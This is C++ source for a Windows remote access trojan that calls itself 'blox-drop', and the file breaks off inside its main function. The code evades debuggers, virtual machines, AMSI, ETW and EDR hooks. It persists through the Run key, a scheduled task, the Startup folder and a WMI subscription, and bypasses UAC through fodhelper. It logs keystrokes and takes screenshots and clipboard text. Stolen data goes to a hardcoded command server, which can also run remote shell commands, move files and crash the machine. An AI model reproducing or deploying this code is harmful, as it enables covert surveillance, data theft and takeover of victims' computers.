#define _WIN32_WINNT 0x0A00
#define WIN32_LEAN_AND_MEAN
#define _CRT_SECURE_NO_WARNINGS

#include <windows.h>
#include <winhttp.h>
#include <wincrypt.h>
#include <bcrypt.h>
#include <tlhelp32.h>
#include <shlobj.h>
#include <shlwapi.h>
#include <gdiplus.h>
#include <psapi.h>
#include <sddl.h>
#include <iphlpapi.h>
#include <thread>
#include <chrono>
#include <random>
#include <string>
#include <vector>
#include <mutex>
#include <fstream>
#include <sstream>
#include <atomic>
#include <cstdio>

#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "winhttp.lib")
#pragma comment(lib, "bcrypt.lib")
#pragma comment(lib, "crypt32.lib")
#pragma comment(lib, "gdiplus.lib")
#pragma comment(lib, "shlwapi.lib")
#pragma comment(lib, "advapi32.lib")
#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "shell32.lib")
#pragma comment(lib, "user32.lib")
#pragma comment(lib, "iphlpapi.lib")

using namespace Gdiplus;

#define C2_HOST      L"blox-drop.andrei2011el.workers.dev"
#define RAT_KEY      "a7f3e91c5b2d846f0e1a9d4c7b3e5082f6c1a9d4e7b302f8c5a1e9d6b4f3c208"
#define MUTEX_NAME   "bloxdrop_mtx_v2"
#define WATCHDOG_MS  45000
#define JITTER_MIN   20
#define JITTER_MAX   45



static std::atomic<bool> g_running{true};
static std::string g_id;
static std::string g_logbuf;
static std::mutex g_logmtx;
static std::ofstream g_keyfile;
static HHOOK g_hook = nullptr;



static std::string to_hex(const BYTE* d, size_t n) {
    static const char* h = "0123456789abcdef";
    std::string s; s.reserve(n*2);
    for (size_t i = 0; i < n; i++) { s.push_back(h[d[i]>>4]); s.push_back(h[d[i]&0xF]); }
    return s;
}

static std::string json_escape(const std::string& s) {
    std::string o; o.reserve(s.size()+16);
    for (unsigned char c : s) {
        switch (c) {
            case '"':  o += "\\\""; break;
            case '\\': o += "\\\\"; break;
            case '\n': o += "\\n";  break;
            case '\r': o += "\\r";  break;
            case '\t': o += "\\t";  break;
            default:
                if (c < 0x20) { char b[8]; sprintf_s(b,"\\u%04x",c); o += b; }
                else o += (char)c;
        }
    }
    return o;
}

static std::string b64_encode(const std::vector<BYTE>& in) {
    DWORD len = 0;
    CryptBinaryToStringA(in.data(), (DWORD)in.size(),
        CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, nullptr, &len);
    std::string out(len, 0);
    CryptBinaryToStringA(in.data(), (DWORD)in.size(),
        CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, out.data(), &len);
    out.resize(len);
    return out;
}

static std::vector<BYTE> b64_decode(const std::string& in) {
    DWORD len = 0;
    CryptStringToBinaryA(in.c_str(), 0, CRYPT_STRING_BASE64, nullptr, &len, nullptr, nullptr);
    std::vector<BYTE> out(len);
    CryptStringToBinaryA(in.c_str(), 0, CRYPT_STRING_BASE64, out.data(), &len, nullptr, nullptr);
    out.resize(len);
    return out;
}

static std::string hmac_sha256(const std::string& key, const std::string& msg) {
    BCRYPT_ALG_HANDLE alg;
    BCryptOpenAlgorithmProvider(&alg, BCRYPT_SHA256_ALGORITHM, nullptr, BCRYPT_ALG_HANDLE_HMAC_FLAG);
    BCRYPT_HASH_HANDLE h;
    BCryptCreateHash(alg, &h, nullptr, 0, (PUCHAR)key.data(), (ULONG)key.size(), 0);
    BCryptHashData(h, (PUCHAR)msg.data(), (ULONG)msg.size(), 0);
    BYTE out[32];
    BCryptFinishHash(h, out, 32, 0);
    BCryptDestroyHash(h);
    BCryptCloseAlgorithmProvider(alg, 0);
    return to_hex(out, 32);
}

static std::string get_env(const char* k) {
    char b[512]; DWORD n = GetEnvironmentVariableA(k, b, 512);
    return n ? std::string(b, n) : "";
}


static bool is_debugger() {
    if (IsDebuggerPresent()) return true;
    BOOL dbg = FALSE;
    CheckRemoteDebuggerPresent(GetCurrentProcess(), &dbg);
    return dbg;
}

static bool looks_like_vm() {
    SYSTEM_INFO si{}; GetSystemInfo(&si);
    if (si.dwNumberOfProcessors < 2) return true;

    MEMORYSTATUSEX ms{}; ms.dwLength = sizeof(ms);
    GlobalMemoryStatusEx(&ms);
    if (ms.ullTotalPhys < 2ULL * 1024 * 1024 * 1024) return true;

    ULARGE_INTEGER freeB, totalB, totFree;
    if (GetDiskFreeSpaceExA("C:\\", &freeB, &totalB, &totFree)) {
        if (totalB.QuadPart < 60ULL * 1024 * 1024 * 1024) return true;
    }

    const char* paths[] = {
        "C:\\windows\\System32\\drivers\\VBoxMouse.sys",
        "C:\\windows\\System32\\drivers\\vmhgfs.sys",
        "C:\\windows\\System32\\drivers\\vmmouse.sys",
        "C:\\windows\\System32\\drivers\\vmusbmouse.sys",
    };
    for (auto p : paths)
        if (GetFileAttributesA(p) != INVALID_FILE_ATTRIBUTES) return true;

    ULONG sz = 0;
    GetAdaptersInfo(nullptr, &sz);
    std::vector<BYTE> buf(sz);
    if (GetAdaptersInfo((PIP_ADAPTER_INFO)buf.data(), &sz) == NO_ERROR) {
        auto* a = (PIP_ADAPTER_INFO)buf.data();
        while (a) {
            if (a->AddressLength >= 3) {
                BYTE b0 = a->Address[0], b1 = a->Address[1], b2 = a->Address[2];
                if ((b0==0x08 && b1==0x00 && b2==0x27) ||
                    (b0==0x00 && b1==0x05 && b2==0x69) ||
                    (b0==0x00 && b1==0x0C && b2==0x29) ||
                    (b0==0x00 && b1==0x50 && b2==0x56))
                    return true;
            }
            a = a->Next;
        }
    }
    return false;
}

static bool sandbox_timing() {
    ULONGLONG t0 = GetTickCount64();
    Sleep(300);
    ULONGLONG t1 = GetTickCount64();
    return (t1 - t0) < 250;
}


static void patch_amsi() {
    HMODULE amsi = LoadLibraryA("amsi.dll");
    if (!amsi) return;
    auto p = (BYTE*)GetProcAddress(amsi, "AmsiScanBuffer");
    if (!p) return;
    DWORD old;
    VirtualProtect(p, 16, PAGE_EXECUTE_READWRITE, &old);
    BYTE patch[] = { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 };
    memcpy(p, patch, sizeof(patch));
    VirtualProtect(p, 16, old, &old);
}

static void patch_etw() {
    HMODULE ntdll = GetModuleHandleA("ntdll.dll");
    if (!ntdll) return;
    auto p = (BYTE*)GetProcAddress(ntdll, "EtwEventWrite");
    if (!p) return;
    DWORD old;
    VirtualProtect(p, 8, PAGE_EXECUTE_READWRITE, &old);
    BYTE patch[] = { 0x33, 0xC0, 0xC3 };
    memcpy(p, patch, sizeof(patch));
    VirtualProtect(p, 8, old, &old);
}

static void unhook_ntdll() {
    wchar_t sysdir[MAX_PATH];
    GetSystemDirectoryW(sysdir, MAX_PATH);
    std::wstring path = std::wstring(sysdir) + L"\\ntdll.dll";

    HANDLE hFile = CreateFileW(path.c_str(), GENERIC_READ, FILE_SHARE_READ,
        nullptr, OPEN_EXISTING, 0, nullptr);
    if (hFile == INVALID_HANDLE_VALUE) return;

    HANDLE hMap = CreateFileMappingW(hFile, nullptr, PAGE_READONLY, 0, 0, nullptr);
    if (!hMap) { CloseHandle(hFile); return; }

    BYTE* raw = (BYTE*)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0);
    if (!raw) { CloseHandle(hMap); CloseHandle(hFile); return; }

    auto dos = (IMAGE_DOS_HEADER*)raw;
    auto nt  = (IMAGE_NT_HEADERS*)(raw + dos->e_lfanew);
    auto sec = IMAGE_FIRST_SECTION(nt);

    HMODULE loaded = GetModuleHandleA("ntdll.dll");

    for (WORD i = 0; i < nt->FileHeader.NumberOfSections; i++, sec++) {
        if (memcmp(sec->Name, ".text", 5) == 0) {
            BYTE* dst = (BYTE*)loaded + sec->VirtualAddress;
            DWORD old;
            VirtualProtect(dst, sec->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &old);
            memcpy(dst, raw + sec->PointerToRawData, sec->SizeOfRawData);
            VirtualProtect(dst, sec->Misc.VirtualSize, old, &old);
            break;
        }
    }

    UnmapViewOfFile(raw);
    CloseHandle(hMap);
    CloseHandle(hFile);
}



struct HttpResponse { int status; std::string body; };

static HttpResponse https_post(const std::wstring& path, const std::string& body) {
    HttpResponse res{0, ""};

    HINTERNET hS = WinHttpOpen(L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
        WINHTTP_ACCESS_TYPE_AUTOMATIC_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    HINTERNET hC = WinHttpConnect(hS, C2_HOST, INTERNET_DEFAULT_HTTPS_PORT, 0);
    HINTERNET hR = WinHttpOpenRequest(hC, L"POST", path.c_str(),
        nullptr, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES, WINHTTP_FLAG_SECURE);

    std::string sig = hmac_sha256(RAT_KEY, body);
    std::wstring hdrs = L"X-Sig: " + std::wstring(sig.begin(), sig.end()) +
                        L"\r\nContent-Type: application/json\r\n";

    WinHttpSendRequest(hR, hdrs.c_str(), (DWORD)-1L,
        (LPVOID)body.data(), (DWORD)body.size(), (DWORD)body.size(), 0);
    WinHttpReceiveResponse(hR, nullptr);

    DWORD code = 0, sz = sizeof(code);
    WinHttpQueryHeaders(hR, WINHTTP_QUERY_STATUS_CODE | WINHTTP_QUERY_FLAG_NUMBER,
        WINHTTP_HEADER_NAME_BY_INDEX, &code, &sz, WINHTTP_NO_HEADER_INDEX);
    res.status = (int)code;

    DWORD avail = 0;
    do {
        WinHttpQueryDataAvailable(hR, &avail);
        if (!avail) break;
        std::vector<char> buf(avail);
        DWORD r = 0;
        WinHttpReadData(hR, buf.data(), avail, &r);
        res.body.append(buf.data(), r);
    } while (avail > 0);

    WinHttpCloseHandle(hR); WinHttpCloseHandle(hC); WinHttpCloseHandle(hS);
    return res;
}


static void send_text(const std::string& text) {
    std::string body = "{\"id\":\"" + json_escape(g_id) +
                       "\",\"text\":\"" + json_escape(text) + "\"}";
    https_post(L"/in", body);
}

static void send_file(const std::string& name, const std::vector<BYTE>& data) {
    std::string b64 = b64_encode(data);
    std::string body = "{\"id\":\"" + json_escape(g_id) +
                       "\",\"file\":{\"name\":\"" + json_escape(name) +
                       "\",\"b64\":\"" + b64 + "\"}}";
    https_post(L"/in", body);
}

static std::string fetch_cmd() {
    std::string body = "{\"id\":\"" + json_escape(g_id) + "\"}";
    auto r = https_post(L"/out", body);
    if (r.status != 200) return "";
    auto p = r.body.find("\"cmd\":");
    if (p == std::string::npos) return "";
    p = r.body.find('"', p + 6);
    auto e = r.body.find('"', p + 1);
    if (p == std::string::npos || e == std::string::npos) return "";
    return r.body.substr(p + 1, e - p - 1);
}



static std::wstring copy_self_to_appdata() {
    wchar_t self[MAX_PATH];
    GetModuleFileNameW(nullptr, self, MAX_PATH);

    wchar_t appdata[MAX_PATH];
    SHGetFolderPathW(nullptr, CSIDL_APPDATA, nullptr, 0, appdata);

    std::wstring dst = std::wstring(appdata) + L"\\Microsoft\\Windows\\svchost.exe";
    CopyFileW(self, dst.c_str(), FALSE);
    SetFileAttributesW(dst.c_str(), FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
    return dst;
}

static void persist_runkey(const std::wstring& path) {
    HKEY hk;
    RegOpenKeyExW(HKEY_CURRENT_USER,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, KEY_SET_VALUE, &hk);
    RegSetValueExW(hk, L"WindowsUpdateSvc", 0, REG_SZ,
        (BYTE*)path.c_str(), (DWORD)((path.size()+1)*sizeof(wchar_t)));
    RegCloseKey(hk);
}

static void persist_schtask(const std::wstring& path) {
    std::string p(path.begin(), path.end());
    std::string cmd = "schtasks /create /tn \"OneDriveSync\" /tr \"" + p +
                      "\" /sc onlogon /rl highest /f";
    WinExec(cmd.c_str(), SW_HIDE);
}

static void persist_startup(const std::wstring& path) {
    wchar_t startup[MAX_PATH];
    SHGetFolderPathW(nullptr, CSIDL_STARTUP, nullptr, 0, startup);
    std::wstring lnk = std::wstring(startup) + L"\\WindowsHelper.lnk";

    IShellLinkW* sl = nullptr;
    CoCreateInstance(CLSID_ShellLink, nullptr, CLSCTX_INPROC_SERVER,
        IID_IShellLinkW, (void**)&sl);
    if (sl) {
        sl->SetPath(path.c_str());
        IPersistFile* pf = nullptr;
        sl->QueryInterface(IID_IPersistFile, (void**)&pf);
        if (pf) { pf->Save(lnk.c_str(), TRUE); pf->Release(); }
        sl->Release();
    }
}

static void persist_wmi(const std::wstring& path) {
    std::string p(path.begin(), path.end());
    std::string cmd =
        "powershell -WindowStyle Hidden -Command \""
        "$f='__EventFilter';"
        "$c='CommandLineEventConsumer';"
        "try{"
        "  $F=Set-WmiInstance -Namespace root\\subscription -Class $f -Arguments @{"
        "    Name='BDSync'; EventNameSpace='root\\cimv2';"
        "    QueryLanguage='WQL'; Query='SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA \\\"Win32_PerfFormattedData_PerfOS_System\\\"'};"
        "  $C=Set-WmiInstance -Namespace root\\subscription -Class $c -Arguments @{"
        "    Name='BDSyncC'; CommandLineTemplate='" + p + "';"
        "    ExecutablePath='" + p + "'};"
        "  Set-WmiInstance -Namespace root\\subscription -Class __FilterToConsumerBinding -Arguments @{Filter=$F;Consumer=$C}"
        "}catch{}\"";
    WinExec(cmd.c_str(), SW_HIDE);
}

static void install_persistence() {
    auto dst = copy_self_to_appdata();
    persist_runkey(dst);
    persist_schtask(dst);
    persist_startup(dst);
    persist_wmi(dst);
}



static void uac_bypass_fodhelper() {
    wchar_t self[MAX_PATH];
    GetModuleFileNameW(nullptr, self, MAX_PATH);

    HKEY hk;
    RegCreateKeyExW(HKEY_CURRENT_USER,
        L"Software\\Classes\\ms-settings\\Shell\\Open\\command",
        0, nullptr, 0, KEY_WRITE, nullptr, &hk, nullptr);
    std::wstring cmd = std::wstring(self);
    RegSetValueExW(hk, nullptr, 0, REG_SZ,
        (BYTE*)cmd.c_str(), (DWORD)((cmd.size()+1)*sizeof(wchar_t)));
    RegSetValueExW(hk, L"DelegateExecute", 0, REG_SZ,
        (BYTE*)L"", (DWORD)sizeof(wchar_t));
    RegCloseKey(hk);

    WinExec("fodhelper.exe", SW_HIDE);
    Sleep(3000);
    RegDeleteKeyW(HKEY_CURRENT_USER,
        L"Software\\Classes\\ms-settings\\Shell\\Open\\command");
}



static std::string vk_to_str(DWORD vk, const KBDLLHOOKSTRUCT* kb) {
    BYTE st[256]{}; GetKeyboardState(st);
    wchar_t buf[8]{}; int n = ToUnicode(vk, kb->scanCode, st, buf, 8, 0);
    if (n > 0) { std::wstring w(buf, n); return std::string(w.begin(), w.end()); }
    switch (vk) {
        case VK_RETURN: return "\n";
        case VK_SPACE:  return " ";
        case VK_TAB:    return "\t";
        case VK_BACK:   return "[BS]";
        case VK_DELETE: return "[DEL]";
        case VK_ESCAPE: return "[ESC]";
        default:        return "";
    }
}

static LRESULT CALLBACK kb_proc(int code, WPARAM w, LPARAM l) {
    if (code == HC_ACTION && w == WM_KEYDOWN) {
        auto* kb = (KBDLLHOOKSTRUCT*)l;
        std::string s = vk_to_str(kb->vkCode, kb);
        if (!s.empty()) {
            std::lock_guard<std::mutex> lk(g_logmtx);
            g_logbuf += s;
            if (g_keyfile.is_open()) { g_keyfile << s; g_keyfile.flush(); }
        }
    }
    return CallNextHookEx(g_hook, code, w, l);
}

static void keylogger_thread() {
    wchar_t tmp[MAX_PATH];
    GetTempPathW(MAX_PATH, tmp);
    std::wstring p = std::wstring(tmp) + L"\\kbd.tmp";
    g_keyfile.open(p, std::ios::app);

    g_hook = SetWindowsHookExW(WH_KEYBOARD_LL, kb_proc, nullptr, 0);
    MSG msg;
    while (g_running && GetMessageW(&msg, nullptr, 0, 0)) {
        TranslateMessage(&msg);
        DispatchMessageW(&msg);
    }
}



static int GetEncoderClsid(const WCHAR* format, CLSID* pClsid) {
    UINT num = 0, size = 0;
    GetImageEncodersSize(&num, &size);
    if (size == 0) return -1;
    auto* info = (ImageCodecInfo*)malloc(size);
    GetImageEncoders(num, size, info);
    int idx = -1;
    for (UINT i = 0; i < num; i++) {
        if (wcscmp(info[i].MimeType, format) == 0) { *pClsid = info[i].Clsid; idx = i; break; }
    }
    free(info);
    return idx;
}

static std::vector<BYTE> screenshot_png() {
    int w = GetSystemMetrics(SM_CXSCREEN);
    int h = GetSystemMetrics(SM_CYSCREEN);
    HDC hdc = GetDC(nullptr);
    HDC mem = CreateCompatibleDC(hdc);
    HBITMAP bmp = CreateCompatibleBitmap(hdc, w, h);
    SelectObject(mem, bmp);
    BitBlt(mem, 0, 0, w, h, hdc, 0, 0, SRCCOPY);

    Bitmap bmpObj(bmp, nullptr);
    IStream* stream = nullptr;
    CreateStreamOnHGlobal(nullptr, TRUE, &stream);

    CLSID pngClsid;
    GetEncoderClsid(L"image/png", &pngClsid);
    bmpObj.Save(stream, &pngClsid, nullptr);

    HGLOBAL hMem = nullptr;
    GetHGlobalFromStream(stream, &hMem);
    SIZE_T sz = GlobalSize(hMem);
    void* p = GlobalLock(hMem);
    std::vector<BYTE> out((BYTE*)p, (BYTE*)p + sz);
    GlobalUnlock(hMem);

    stream->Release();
    ReleaseDC(nullptr, hdc);
    DeleteDC(mem);
    DeleteObject(bmp);
    return out;
}



static std::string get_clipboard_text() {
    if (!OpenClipboard(nullptr)) return "";
    HANDLE h = GetClipboardData(CF_TEXT);
    std::string out;
    if (h) { char* p = (char*)GlobalLock(h); if (p) out = p; GlobalUnlock(h); }
    CloseClipboard();
    return out;
}


static std::string list_processes() {
    std::string out;
    HANDLE snap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (snap == INVALID_HANDLE_VALUE) return "";
    PROCESSENTRY32W pe{}; pe.dwSize = sizeof(pe);
    if (Process32FirstW(snap, &pe)) {
        do {
            std::wstring w(pe.szExeFile);
            std::string s(w.begin(), w.end());
            char line[512];
            sprintf_s(line, "%lu\t%s\n", pe.th32ProcessID, s.c_str());
            out += line;
        } while (Process32NextW(snap, &pe));
    }
    CloseHandle(snap);
    return out;
}

static bool kill_proc(DWORD pid) {
    HANDLE h = OpenProcess(PROCESS_TERMINATE, FALSE, pid);
    if (!h) return false;
    bool ok = TerminateProcess(h, 1);
    CloseHandle(h);
    return ok;
}

static bool start_proc(const std::string& cmd) {
    STARTUPINFOA si{}; si.cb = sizeof(si);
    PROCESS_INFORMATION pi{};
    std::vector<char> buf(cmd.begin(), cmd.end()); buf.push_back(0);
    bool ok = CreateProcessA(nullptr, buf.data(), nullptr, nullptr, FALSE,
        CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi);
    if (ok) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
    return ok;
}



static bool read_file(const std::string& path, std::vector<BYTE>& out) {
    HANDLE h = CreateFileA(path.c_str(), GENERIC_READ, FILE_SHARE_READ,
        nullptr, OPEN_EXISTING, 0, nullptr);
    if (h == INVALID_HANDLE_VALUE) return false;
    DWORD sz = GetFileSize(h, nullptr);
    if (sz == INVALID_FILE_SIZE) { CloseHandle(h); return false; }
    out.resize(sz);
    DWORD got = 0;
    bool ok = ReadFile(h, out.data(), sz, &got, nullptr);
    out.resize(got);
    CloseHandle(h);
    return ok;
}

static bool write_file(const std::string& path, const std::vector<BYTE>& data) {
    HANDLE h = CreateFileA(path.c_str(), GENERIC_WRITE, 0, nullptr,
        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, nullptr);
    if (h == INVALID_HANDLE_VALUE) return false;
    DWORD wrote = 0;
    bool ok = WriteFile(h, data.data(), (DWORD)data.size(), &wrote, nullptr);
    CloseHandle(h);
    return ok;
}


static std::string run_shell(const std::string& cmd) {
    SECURITY_ATTRIBUTES sa{}; sa.nLength = sizeof(sa); sa.bInheritHandle = TRUE;
    HANDLE rPipe, wPipe;
    CreatePipe(&rPipe, &wPipe, &sa, 0);
    SetHandleInformation(rPipe, HANDLE_FLAG_INHERIT, 0);

    STARTUPINFOA si{}; si.cb = sizeof(si);
    si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;
    si.wShowWindow = SW_HIDE;
    si.hStdOutput = wPipe;
    si.hStdError  = wPipe;

    PROCESS_INFORMATION pi{};
    std::string full = "cmd.exe /c " + cmd;
    std::vector<char> buf(full.begin(), full.end()); buf.push_back(0);

    if (!CreateProcessA(nullptr, buf.data(), nullptr, nullptr, TRUE,
        CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi)) {
        CloseHandle(rPipe); CloseHandle(wPipe);
        return "[createprocess failed]";
    }

    CloseHandle(wPipe);
    std::string out;
    char tmp[4096]; DWORD got;
    while (ReadFile(rPipe, tmp, sizeof(tmp), &got, nullptr) && got > 0)
        out.append(tmp, got);

    WaitForSingleObject(pi.hProcess, 30000);
    CloseHandle(pi.hProcess); CloseHandle(pi.hThread); CloseHandle(rPipe);
    return out;
}



static std::string reg_read(const std::string& full) {
    HKEY root = HKEY_CURRENT_USER;
    std::string rest = full;
    if (full.rfind("HKLM\\", 0) == 0) { root = HKEY_LOCAL_MACHINE; rest = full.substr(5); }
    else if (full.rfind("HKCU\\", 0) == 0) { rest = full.substr(5); }

    auto pos = rest.rfind('\\');
    if (pos == std::string::npos) return "[bad path]";
    std::string sub = rest.substr(0, pos);
    std::string val = rest.substr(pos + 1);

    HKEY hk;
    if (RegOpenKeyExA(root, sub.c_str(), 0, KEY_READ, &hk) != ERROR_SUCCESS)
        return "[open failed]";
    char buf[4096]; DWORD sz = sizeof(buf), type = 0;
    auto r = RegQueryValueExA(hk, val.c_str(), nullptr, &type, (BYTE*)buf, &sz);
    RegCloseKey(hk);
    if (r != ERROR_SUCCESS) return "[read failed]";
    return std::string(buf, sz > 0 ? sz - 1 : 0);
}

static bool reg_write(const std::string& full, const std::string& val) {
    HKEY root = HKEY_CURRENT_USER;
    std::string rest = full;
    if (full.rfind("HKLM\\", 0) == 0) { root = HKEY_LOCAL_MACHINE; rest = full.substr(5); }
    else if (full.rfind("HKCU\\", 0) == 0) { rest = rest.substr(5); }

    auto pos = rest.rfind('\\');
    if (pos == std::string::npos) return false;
    std::string sub = rest.substr(0, pos);
    std::string key = rest.substr(pos + 1);

    HKEY hk;
    if (RegCreateKeyExA(root, sub.c_str(), 0, nullptr, 0, KEY_WRITE,
        nullptr, &hk, nullptr) != ERROR_SUCCESS) return false;
    auto r = RegSetValueExA(hk, key.c_str(), 0, REG_SZ,
        (BYTE*)val.c_str(), (DWORD)val.size() + 1);
    RegCloseKey(hk);
    return r == ERROR_SUCCESS;
}


static void self_destruct() {
    HKEY hk;
    if (RegOpenKeyExW(HKEY_CURRENT_USER,
        L"Software\\Microsoft\\Windows\\CurrentVersion\\Run",
        0, KEY_SET_VALUE, &hk) == ERROR_SUCCESS) {
        RegDeleteValueW(hk, L"WindowsUpdateSvc");
        RegCloseKey(hk);
    }
    WinExec("schtasks /delete /tn \"OneDriveSync\" /f", SW_HIDE);
    WinExec("powershell -WindowStyle Hidden -Command \""
            "Get-WmiObject -Namespace root\\subscription -Class __EventFilter | "
            "Where-Object {$_.Name -eq 'BDSync'} | Remove-WmiObject;"
            "Get-WmiObject -Namespace root\\subscription -Class CommandLineEventConsumer | "
            "Where-Object {$_.Name -eq 'BDSyncC'} | Remove-WmiObject\"", SW_HIDE);

    wchar_t appdata[MAX_PATH];
    SHGetFolderPathW(nullptr, CSIDL_APPDATA, nullptr, 0, appdata);
    std::wstring p = std::wstring(appdata) + L"\\Microsoft\\Windows\\svchost.exe";
    std::string del = "cmd /c ping 127.0.0.1 -n 3 >nul & del /f /q \"" +
                      std::string(p.begin(), p.end()) + "\"";
    WinExec(del.c_str(), SW_HIDE);
    g_running = false;
    ExitProcess(0);
}



static void handle(const std::string& cmd) {
    if (cmd.empty()) return;
    if (cmd == "ping")     { send_text("pong | " + g_id); return; }
    if (cmd == "info") {
        char u[256]; DWORD s = 256; GetUserNameA(u, &s);
        char c[256]; DWORD cs = 256; GetComputerNameA(c, &cs);
        std::string ip = get_env("USERDOMAIN");
        std::string out = "user: " + std::string(u) + "\nhost: " + std::string(c) +
                          "\ndomain: " + ip + "\nid: " + g_id;
        send_text(out);
        return;
    }
    if (cmd == "whoami")   { send_text(run_shell("whoami /all")); return; }
    if (cmd == "priv")     { send_text(run_shell("whoami /priv")); return; }
    if (cmd == "av")       { send_text(run_shell("wmic /namespace:\\\\root\\SecurityCenter2 path AntiVirusProduct get displayName,productState /format:list")); return; }

    if (cmd.rfind("shell ", 0) == 0) {
        send_text(run_shell(cmd.substr(6)));
        return;
    }
    if (cmd.rfind("ps ", 0) == 0) {
        send_text(run_shell("powershell -NoP -Command " + cmd.substr(3)));
        return;
    }

    if (cmd == "pslist")   { send_text(list_processes()); return; }
    if (cmd.rfind("kill ", 0) == 0) {
        DWORD pid = (DWORD)strtoul(cmd.substr(5).c_str(), nullptr, 10);
        send_text(kill_proc(pid) ? "killed" : "kill failed");
        return;
    }
    if (cmd.rfind("start ", 0) == 0) {
        send_text(start_proc(cmd.substr(6)) ? "started" : "start failed");
        return;
    }

    if (cmd == "screenshot") {
        send_file("shot.png", screenshot_png());
        return;
    }

    if (cmd == "clip")     { send_text(get_clipboard_text()); return; }

    if (cmd == "keylog_dump") {
        std::lock_guard<std::mutex> lk(g_logmtx);
        send_text(g_logbuf.empty() ? "[empty]" : g_logbuf);
        g_logbuf.clear();
        return;
    }
    if (cmd == "keylog_clear") {
        std::lock_guard<std::mutex> lk(g_logmtx);
        g_logbuf.clear();
        send_text("cleared");
        return;
    }

    if (cmd.rfind("get ", 0) == 0) {
        std::vector<BYTE> data;
        std::string path = cmd.substr(4);
        if (read_file(path, data)) {
            auto slash = path.find_last_of("\\/");
            std::string name = slash == std::string::npos ? path : path.substr(slash + 1);
            send_file(name, data);
        } else send_text("[read failed] " + path);
        return;
    }
    if (cmd.rfind("put ", 0) == 0) {
        auto sp = cmd.find(' ', 4);
        if (sp == std::string::npos) { send_text("[bad put]"); return; }
        std::string b64 = cmd.substr(4, sp - 4);
        std::string path = cmd.substr(sp + 1);
        auto data = b64_decode(b64);
        send_text(write_file(path, data) ? "written" : "write failed");
        return;
    }

    if (cmd.rfind("reg_read ", 0) == 0)   { send_text(reg_read(cmd.substr(9))); return; }
    if (cmd.rfind("reg_write ", 0) == 0) {
        std::string rest = cmd.substr(10);
        auto sp = rest.find(' ');
        if (sp == std::string::npos) { send_text("[bad reg_write]"); return; }
        send_text(reg_write(rest.substr(0, sp), rest.substr(sp + 1)) ? "ok" : "fail");
        return;
    }

    if (cmd == "uac")      { uac_bypass_fodhelper(); send_text("uac attempted"); return; }

    if (cmd == "selfdestruct") {
        send_text("bye");
        Sleep(500);
        self_destruct();
        return;
    }

    if (cmd == "shutdown") { system("shutdown /s /t 0"); return; }
    if (cmd == "reboot")   { system("shutdown /r /t 0"); return; }
    if (cmd == "lock")     { LockWorkStation(); return; }
    if (cmd == "bsod") {
        HMODULE n = LoadLibraryA("ntdll.dll");
        typedef NTSTATUS(NTAPI* pRtlAdjustPrivilege)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
        auto f = (pRtlAdjustPrivilege)GetProcAddress(n, "RtlAdjustPrivilege");
        if (f) {
            BOOLEAN old;
            f(19, TRUE, FALSE, &old);
            typedef NTSTATUS(NTAPI* pNtRaiseHardError)(NTSTATUS, ULONG, ULONG, PULONG_PTR, ULONG, PULONG);
            auto g = (pNtRaiseHardError)GetProcAddress(n, "NtRaiseHardError");
            if (g) { ULONG resp; g(0xC0000005, 0, 0, nullptr, 6, &resp); }
        }
        return;
    }

    if (cmd == "msgbox") {
        std::thread([]{ MessageBoxA(nullptr, "hello from freddy", "blox-drop", MB_OK | MB_ICONINFORMATION); }).detach();
        return;
    }

    if (cmd.rfind("cd ", 0) == 0) { send_text("cwd: " + run_shell("cd")); return; }

    if (cmd == "help") {
        send_text(
            "commands:\n"
            "ping, info, whoami, priv, av\n"
            "shell <cmd> / ps <cmd>\n"
            "pslist / kill <pid> / start <exe>\n"
            "screenshot / clip\n"
            "keylog_dump / keylog_clear\n"
            "get <path> / put <b64> <path>\n"
            "reg_read <HK...> / reg_write <HK...> <val>\n"
            "uac / msgbox / lock / shutdown / reboot / bsod\n"
            "selfdestruct / help"
        );
        return;
    }

    send_text("unknown cmd: " + cmd);
}



static void beacon_loop() {
    std::mt19937 rng((unsigned)GetTickCount64());
    std::uniform_int_distribution<int> jit(JITTER_MIN, JITTER_MAX);

    send_text("online: " + g_id);

    while (g_running) {
        try {
            std::string cmd = fetch_cmd();
            if (!cmd.empty()) handle(cmd);
        } catch (...) {}
        std::this_thread::sleep_for(std::chrono::seconds(jit(rng)));
    }
}


static void watchdog_thread() {
    wchar_t self[MAX_PATH];
    GetModuleFileNameW(nullptr, self, MAX_PATH);
    std::wstring path = self;

    while (g_running) {
        Sleep(WATCHDOG_MS);
        wchar_t appdata[MAX_PATH];
        SHGetFolderPathW(nullptr, CSIDL_APPDATA, nullptr, 0, appdata);
        std::wstring dst = std::wstring(appdata) + L"\\Microsoft\\Windows\\svchost.exe";
        if (GetFileAttributesW(dst.c_str()) == INVALID_FILE_ATTRIBUTES) {
            CopyFileW(path.c_str(), dst.c_str(), FALSE);
            STARTUPINFOW si{}; si.cb = sizeof(si);
            PROCESS_INFORMATION pi{};
            CreateProcessW(dst.c_str(), nullptr, nullptr, nullptr, FALSE,
                CREATE_NO_WINDOW, nullptr, nullptr, &si, &pi);
            if (pi.hProcess) { CloseHandle(pi.hProcess); CloseHandle(pi.hThread); }
        }
    }
}



int WINAPI wWinMain(HINSTANCE, HINSTANCE, LPWSTR, int) {
    CreateMutexA(nullptr, FALSE, MUTEX_NAME);
    if (GetLastError() == ERROR_ALREADY_EXISTS) return 0;

    if (is_debugger()) return 0;
